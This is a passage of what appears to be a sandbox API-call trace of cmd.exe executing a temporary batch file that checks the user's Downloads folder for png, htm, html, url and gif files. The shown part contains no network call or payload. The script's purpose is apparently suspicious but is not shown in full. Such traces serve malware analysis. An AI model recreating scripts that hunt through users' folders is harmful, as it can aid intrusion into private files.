returned 0xffffffff [0040.038] GetLastError () returned 0x2 [0040.038] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0040.038] GetLastError () returned 0x6 [0040.038] _get_osfhandle (_FileHandle=1) returned 0x7 [0040.038] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0040.039] _get_osfhandle (_FileHandle=1) returned 0x7 [0040.039] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0040.039] _get_osfhandle (_FileHandle=0) returned 0x3 [0040.039] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0040.039] SetConsoleInputExeNameW () returned 0x1 [0040.039] GetConsoleOutputCP () returned 0x1b5 [0040.039] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0040.039] SetThreadUILanguage (LangId=0x0) returned 0x409 [0040.040] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0040.040] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0040.040] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.040] SetFilePointer (in: hFile=0x74, lDistanceToMove=2219, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x8ab [0040.040] GetProcessHeap () returned 0x4e0000 [0040.040] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5920 | out: hHeap=0x4e0000) returned 1 [0040.040] GetProcessHeap () returned 0x4e0000 [0040.040] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5900 | out: hHeap=0x4e0000) returned 1 [0040.040] GetProcessHeap () returned 0x4e0000 [0040.040] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4e2760 | out: hHeap=0x4e0000) returned 1 [0040.040] GetProcessHeap () returned 0x4e0000 [0040.040] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58e0 | out: hHeap=0x4e0000) returned 1 [0040.040] GetProcessHeap () returned 0x4e0000 [0040.040] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58c0 | out: hHeap=0x4e0000) returned 1 [0040.040] GetProcessHeap () returned 0x4e0000 [0040.040] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5880 | out: hHeap=0x4e0000) returned 1 [0040.040] GetProcessHeap () returned 0x4e0000 [0040.040] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4e2700 | out: hHeap=0x4e0000) returned 1 [0040.040] GetProcessHeap () returned 0x4e0000 [0040.040] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0040.040] GetProcessHeap () returned 0x4e0000 [0040.040] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0040.040] GetProcessHeap () returned 0x4e0000 [0040.040] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f57b0 | out: hHeap=0x4e0000) returned 1 [0040.041] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.041] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x8ab [0040.041] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1d82, lpOverlapped=0x0) returned 1 [0040.041] SetFilePointer (in: hFile=0x74, lDistanceToMove=2221, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x8ad [0040.041] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\n EXIST *.png goto png\r\n\r\n\r\n") returned 2 [0040.041] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.041] GetFileType (hFile=0x74) returned 0x1 [0040.041] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.041] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x8ad [0040.041] GetProcessHeap () returned 0x4e0000 [0040.041] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0040.041] GetProcessHeap () returned 0x4e0000 [0040.041] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0040.041] _tell (_FileHandle=3) returned 2221 [0040.041] _close (_FileHandle=3) returned 0 [0040.042] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0040.042] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0040.042] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.042] SetFilePointer (in: hFile=0x74, lDistanceToMove=2221, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x8ad [0040.042] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.042] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x8ad [0040.042] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1d80, lpOverlapped=0x0) returned 1 [0040.042] SetFilePointer (in: hFile=0x74, lDistanceToMove=2246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x8c6 [0040.042] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.htm goto htm\r\n\r\n\r\n") returned 25 [0040.042] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.042] GetFileType (hFile=0x74) returned 0x1 [0040.042] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.042] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x8c6 [0040.042] GetProcessHeap () returned 0x4e0000 [0040.042] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0040.042] GetProcessHeap () returned 0x4e0000 [0040.043] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0040.044] _tell (_FileHandle=3) returned 2246 [0040.044] _close (_FileHandle=3) returned 0 [0040.044] GetFullPathNameW (in: lpFileName="*.htm", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\*.htm", lpFilePart=0x41eea8*="*.htm") returned 0x2d [0040.044] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0040.044] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\*.htm", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0040.044] GetLastError () returned 0x2 [0040.044] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0040.044] GetLastError () returned 0x6 [0040.044] _get_osfhandle (_FileHandle=1) returned 0x7 [0040.044] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0040.044] _get_osfhandle (_FileHandle=1) returned 0x7 [0040.044] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0040.045] _get_osfhandle (_FileHandle=0) returned 0x3 [0040.045] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0040.045] SetConsoleInputExeNameW () returned 0x1 [0040.045] GetConsoleOutputCP () returned 0x1b5 [0040.045] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0040.045] SetThreadUILanguage (LangId=0x0) returned 0x409 [0040.045] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0040.046] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0040.046] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.046] SetFilePointer (in: hFile=0x74, lDistanceToMove=2246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x8c6 [0040.046] GetProcessHeap () returned 0x4e0000 [0040.046] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5920 | out: hHeap=0x4e0000) returned 1 [0040.046] GetProcessHeap () returned 0x4e0000 [0040.046] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5900 | out: hHeap=0x4e0000) returned 1 [0040.046] GetProcessHeap () returned 0x4e0000 [0040.046] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4e2760 | out: hHeap=0x4e0000) returned 1 [0040.046] GetProcessHeap () returned 0x4e0000 [0040.046] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58e0 | out: hHeap=0x4e0000) returned 1 [0040.046] GetProcessHeap () returned 0x4e0000 [0040.046] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58c0 | out: hHeap=0x4e0000) returned 1 [0040.046] GetProcessHeap () returned 0x4e0000 [0040.046] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5880 | out: hHeap=0x4e0000) returned 1 [0040.046] GetProcessHeap () returned 0x4e0000 [0040.046] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4e2700 | out: hHeap=0x4e0000) returned 1 [0040.046] GetProcessHeap () returned 0x4e0000 [0040.046] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0040.046] GetProcessHeap () returned 0x4e0000 [0040.046] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0040.046] GetProcessHeap () returned 0x4e0000 [0040.046] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f57b0 | out: hHeap=0x4e0000) returned 1 [0040.046] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.047] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x8c6 [0040.047] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1d67, lpOverlapped=0x0) returned 1 [0040.047] SetFilePointer (in: hFile=0x74, lDistanceToMove=2248, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x8c8 [0040.047] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\n EXIST *.htm goto htm\r\n\r\n\r\n") returned 2 [0040.047] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.047] GetFileType (hFile=0x74) returned 0x1 [0040.047] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.047] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x8c8 [0040.047] GetProcessHeap () returned 0x4e0000 [0040.047] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0040.047] GetProcessHeap () returned 0x4e0000 [0040.047] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0040.047] _tell (_FileHandle=3) returned 2248 [0040.047] _close (_FileHandle=3) returned 0 [0040.047] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0040.047] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0040.048] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.048] SetFilePointer (in: hFile=0x74, lDistanceToMove=2248, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x8c8 [0040.048] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.048] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x8c8 [0040.048] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1d65, lpOverlapped=0x0) returned 1 [0040.048] SetFilePointer (in: hFile=0x74, lDistanceToMove=2275, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x8e3 [0040.048] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=27, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.html goto html\r\n\r\n") returned 27 [0040.048] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.048] GetFileType (hFile=0x74) returned 0x1 [0040.048] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.048] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x8e3 [0040.048] GetProcessHeap () returned 0x4e0000 [0040.048] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0040.048] GetProcessHeap () returned 0x4e0000 [0040.048] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0040.049] _tell (_FileHandle=3) returned 2275 [0040.049] _close (_FileHandle=3) returned 0 [0040.050] GetFullPathNameW (in: lpFileName="*.html", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\*.html", lpFilePart=0x41eea8*="*.html") returned 0x2e [0040.050] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0040.050] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\*.html", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0040.050] GetLastError () returned 0x2 [0040.050] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0040.050] GetLastError () returned 0x6 [0040.050] _get_osfhandle (_FileHandle=1) returned 0x7 [0040.050] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0040.050] _get_osfhandle (_FileHandle=1) returned 0x7 [0040.050] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0040.051] _get_osfhandle (_FileHandle=0) returned 0x3 [0040.051] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0040.051] SetConsoleInputExeNameW () returned 0x1 [0040.051] GetConsoleOutputCP () returned 0x1b5 [0040.051] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0040.051] SetThreadUILanguage (LangId=0x0) returned 0x409 [0040.051] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0040.052] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0040.052] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.052] SetFilePointer (in: hFile=0x74, lDistanceToMove=2275, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x8e3 [0040.052] GetProcessHeap () returned 0x4e0000 [0040.052] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5920 | out: hHeap=0x4e0000) returned 1 [0040.052] GetProcessHeap () returned 0x4e0000 [0040.052] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5900 | out: hHeap=0x4e0000) returned 1 [0040.052] GetProcessHeap () returned 0x4e0000 [0040.052] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4e2760 | out: hHeap=0x4e0000) returned 1 [0040.052] GetProcessHeap () returned 0x4e0000 [0040.052] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58e0 | out: hHeap=0x4e0000) returned 1 [0040.052] GetProcessHeap () returned 0x4e0000 [0040.052] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58c0 | out: hHeap=0x4e0000) returned 1 [0040.052] GetProcessHeap () returned 0x4e0000 [0040.052] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5880 | out: hHeap=0x4e0000) returned 1 [0040.052] GetProcessHeap () returned 0x4e0000 [0040.052] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4e2700 | out: hHeap=0x4e0000) returned 1 [0040.052] GetProcessHeap () returned 0x4e0000 [0040.052] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0040.052] GetProcessHeap () returned 0x4e0000 [0040.052] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0040.052] GetProcessHeap () returned 0x4e0000 [0040.052] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f57b0 | out: hHeap=0x4e0000) returned 1 [0040.052] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.052] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x8e3 [0040.053] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1d4a, lpOverlapped=0x0) returned 1 [0040.053] SetFilePointer (in: hFile=0x74, lDistanceToMove=2300, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x8fc [0040.053] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.url goto url\r\n\r\n\r\n") returned 25 [0040.053] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.053] GetFileType (hFile=0x74) returned 0x1 [0040.053] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.053] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x8fc [0040.053] GetProcessHeap () returned 0x4e0000 [0040.053] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0040.053] GetProcessHeap () returned 0x4e0000 [0040.053] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0040.054] _tell (_FileHandle=3) returned 2300 [0040.054] _close (_FileHandle=3) returned 0 [0040.054] GetFullPathNameW (in: lpFileName="*.url", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\*.url", lpFilePart=0x41eea8*="*.url") returned 0x2d [0040.054] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0040.054] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\*.url", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0040.055] GetLastError () returned 0x2 [0040.055] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0040.055] GetLastError () returned 0x6 [0040.055] _get_osfhandle (_FileHandle=1) returned 0x7 [0040.055] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0040.055] _get_osfhandle (_FileHandle=1) returned 0x7 [0040.055] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0040.055] _get_osfhandle (_FileHandle=0) returned 0x3 [0040.055] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0040.056] SetConsoleInputExeNameW () returned 0x1 [0040.056] GetConsoleOutputCP () returned 0x1b5 [0040.056] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0040.056] SetThreadUILanguage (LangId=0x0) returned 0x409 [0040.056] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0040.056] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0040.056] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.056] SetFilePointer (in: hFile=0x74, lDistanceToMove=2300, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x8fc [0040.056] GetProcessHeap () returned 0x4e0000 [0040.056] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5920 | out: hHeap=0x4e0000) returned 1 [0040.056] GetProcessHeap () returned 0x4e0000 [0040.056] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5900 | out: hHeap=0x4e0000) returned 1 [0040.056] GetProcessHeap () returned 0x4e0000 [0040.056] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4e2760 | out: hHeap=0x4e0000) returned 1 [0040.056] GetProcessHeap () returned 0x4e0000 [0040.056] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58e0 | out: hHeap=0x4e0000) returned 1 [0040.056] GetProcessHeap () returned 0x4e0000 [0040.057] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58c0 | out: hHeap=0x4e0000) returned 1 [0040.057] GetProcessHeap () returned 0x4e0000 [0040.057] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5880 | out: hHeap=0x4e0000) returned 1 [0040.057] GetProcessHeap () returned 0x4e0000 [0040.057] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4e2700 | out: hHeap=0x4e0000) returned 1 [0040.057] GetProcessHeap () returned 0x4e0000 [0040.057] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0040.057] GetProcessHeap () returned 0x4e0000 [0040.057] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0040.057] GetProcessHeap () returned 0x4e0000 [0040.057] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f57b0 | out: hHeap=0x4e0000) returned 1 [0040.057] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.057] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x8fc [0040.057] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1d31, lpOverlapped=0x0) returned 1 [0040.057] SetFilePointer (in: hFile=0x74, lDistanceToMove=2325, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x915 [0040.057] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.gif goto gif\r\n\r\n\r\n") returned 25 [0040.057] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.057] GetFileType (hFile=0x74) returned 0x1 [0040.057] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.057] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x915 [0040.057] GetProcessHeap () returned 0x4e0000 [0040.058] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0040.058] GetProcessHeap () returned 0x4e0000 [0040.058] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0040.059] _tell (_FileHandle=3) returned 2325 [0040.059] _close (_FileHandle=3) returned 0 [0040.059] GetFullPathNameW (in: lpFileName="*.gif", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\*.gif", lpFilePart=0x41eea8*="*.gif") returned 0x2d [0040.059] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0040.059] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\*.gif", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0040.059] GetLastError () returned 0x2 [0040.059] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0040.059] GetLastError () returned 0x6 [0040.059] _get_osfhandle (_FileHandle=1) returned 0x7 [0040.059] 